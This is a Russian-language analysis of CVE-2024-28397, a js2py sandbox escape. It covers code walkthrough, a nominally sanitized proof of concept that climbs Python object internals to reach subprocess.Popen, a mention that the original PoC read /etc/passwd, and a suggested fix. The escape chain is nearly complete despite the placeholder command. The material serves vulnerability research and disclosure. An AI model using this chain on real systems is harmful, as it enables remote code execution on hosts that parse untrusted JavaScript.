
Подробный анализ CVE-2024-28397, уязвимости побега из песочницы в js2py, позволяющей выполнение удаленного кода (RCE) через обход объектов Python. Включает анализ кода, PoC и рекомендации по исправлению для защитных исследований.
js2py — это популярный пакет Python, который позволяет выполнять код JavaScript внутри интерпретатора Python. Он используется различными веб-скраперами для разбора кода JavaScript на веб-сайтах.
Существует уязвимость в реализации глобальной переменной внутри js2py, позволяющая атакующему получить ссылку на объект Python в среде js2py, что даёт возможность выйти за пределы среды JS и выполнить произвольные команды на хосте.
Обычно пользователь вызывает js2py.disable_pyimport(), чтобы запретить коду JavaScript выход из среды js2py. Но с помощью этой уязвимости атакующий может обойти это ограничение и выполнить любую команду на целевом хосте.
Угроза может разместить веб-сайт, содержащий вредоносный файл JavaScript, или отправить вредоносный скрипт через HTTP API для разбора жертвой. Таким образом, злоумышленник может добиться удалённого выполнения кода на хосте, выполняя произвольные команды оболочки на цели.
js2py — это библиотека Python, часто используемая в краулерах для разбора и выполнения кода JS в нативной среде Python. Краулеры обычно используют js2py для разбора кода JS, полученного из сети, тем самым имитируя среду браузера.
Однако js2py имеет функцию, которая чрезвычайно опасна для краулеров: она поддерживает импорт и использование пакетов Python в JS, то есть js2py позволяет коду JS манипулировать различными библиотеками Python и напрямую взаимодействовать со средой Python. Именно из-за этого мы можем использовать метод, похожий на Jinja SSTI, и в среде js2py использовать объект Python для нахождения класса subprocess.Popen и добиться RCE.
Более того, так как js2py — это пакет эпохи Python2, широко используемый и давно не поддерживаемый, его анализ должен быть относительно простым.
После установки точек останова можно обнаружить, что место, где на самом деле выполняется код JS — это функция Eval из host/jseval.py. Установив в ней точки останова, можно увидеть код Python, преобразованный js2py.
Например, этот фрагмент кода JS:
let a = 114
console.log(a)
В конечном итоге будет преобразован в такой код Python:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
Видно, что переменные уровня JS хранятся в переменной Python var. Все значения уровня JS чисто хранятся как класс PyJs (здесь Js на самом деле является функцией, объяснение позже). Функции также вызываются через callprop. В обычных условиях код JS не может затрагивать объекты Python.
При просмотре кода было замечено, что автор очень любит использовать конкатенацию строк для построения конечного кода Python, поэтому возникла мысль, можно ли сконструировать код JS, который генерирует недопустимый код Python, тем самым создавая произвольный код Python и выполняя его. Но учитывая, что этот путь намного сложнее последующего, он не был исследован дальше.
Чтобы получить объект Python и реализовать RCE, прежде всего нужно посмотреть, как объекты Python преобразуются в объекты PyJs.
Сначала находим реализацию функции Js в base.py. Роль функции Js заключается в преобразовании переданного значения Python в соответствующее значение PyJs, тем самым позволяя коду JS манипулировать этими значениями.
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
Видно, что базовые структуры данных Python, такие как bool, float, list и т.д., преобразуются в специализированные классы PyJs, а данные других типов обрабатываются функцией py_wrap и в конечном итоге становятся классом PyObjectWrapper.
Обычные классы PyJs представляют числа, логические значения и другие распространённые данные, в то время как PyObjectWrapper представляет специальные данные, такие как модули Python. Таким образом, как только мы получим данные типа PyObjectWrapper, мы сможем использовать метод доступа к атрибутам, аналогичный Jinja SSTI, для достижения RCE.
В общем случае данные типа PyObjectWrapper можно получить только при включённой функции импорта пакетов Python, но из-за того, что js2py долгое время не обновлялся и не учитывал различия между Python2 и Python3, в конечном итоге произошёл побег из песочницы.
Небольшое отступление: при просмотре реализации PyJs я увидел, что автор написал такие строки кода:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
Можно сказать, что автор крайне не любит Python3.
Хотя js2py предоставляет функцию преобразования кода JS в код Python, он также предоставляет несколько встроенных объектов, таких как console и Object, для поддержки нормального выполнения кода JS.
Наша конечная цель — обойти ограничение pyimport и получить объект PyObjectWrapper. Из анализа выше видно, чтобы получить объект PyObjectWrapper из ничего, мы можем только начать с реализации встроенных объектов и извлечь из них объект PyObjectWrapper.
Начнём сканирование кода реализации встроенных объектов. Из constructors/jsobject.py видна реализация различных функций в объекте Object, включая часто используемые функции, такие как Object.keys.
Затем можно увидеть эту функцию:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py использует dict для представления объектов в JS. Функция keys() здесь вызывает keys() словаря Python. Любой, кто изучал Python, знает, что в Python2 эта функция возвращает список, а в Python3 — представление dict_keys. Согласно реализации функции Js выше, этот dict_keys будет преобразован в PyObjectWrapper, и таким образом мы сможем добиться RCE.
Сначала проверим, может ли getOwnPropertyNames получить PyObjectWrapper:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
Он вывел PyObjectWrapper(dict_keys([])), конечно может.
Затем, основываясь на этом объекте, получаем функцию __getattribute__ и легко достигаем RCE. При написании PoC это казалось слишком сложным; на самом деле, достаточно использовать __class__.__base__, чтобы получить функцию __getattribute__.
Затем, используя функцию __getattribute__, получаем объект object, а затем пишем рекурсивную функцию для поиска любого класса любого модуля. Здесь для RCE ищется subprocess.Popen.
ПРИМЕЧАНИЕ (санировано): Фрагмент кода ниже показан в образовательных и исследовательских целях. Он был санирован, чтобы избежать облегчения злоупотребления: чувствительные команды оболочки и прямое выполнение системных команд были заменены заполнителями. Не запускайте это против производственных или незащищённых систем.
import js2py
code = """
let cmd = "DUMMY_CMD" # замените на безопасную тестовую команду в лаборатории (например, 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// Следующий вызов запустил бы subprocess.Popen с аргументами — в санированной версии
// мы заменяем фактический вызов системы на заполнитель по соображениям безопасности.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Примечание: js2py.eval_js(code) намеренно опущен, чтобы избежать выполнения эксплойта в этом репозитории.
Номер версии затронутого компонента:
Затронутые продукты:
Шаги для воспроизведения (только в лаборатории):
pip install js2py для установки js2py и выполните санированный PoC-скрипт в изолированной лабораторной среде. Оригинальный PoC пытался выполнить такие команды, как head -n 1 /etc/passwd и калькуляторы; в этом репозитории они заменены безопасными заполнителями.PyObjectWrapper можно получить из Object.getOwnPropertyNames({}), что позволяет обходить атрибуты для доступа к внутренностям Python.Поскольку проблема заключается в функции getOwnPropertyNames, преобразование возвращаемого dict_keys в обычный список исправляет проблему. Предлагается обернуть obj.own.keys() в list(...) перед возвратом.
Этот репозиторий предназначен только для образовательных и защитных исследований. Не используйте никакую информацию или код из него для атак на системы без явного разрешения. Фрагменты PoC были санированы, чтобы избежать облегчения злоупотребления.
Составлено и переведено для исследовательских и защитных целей.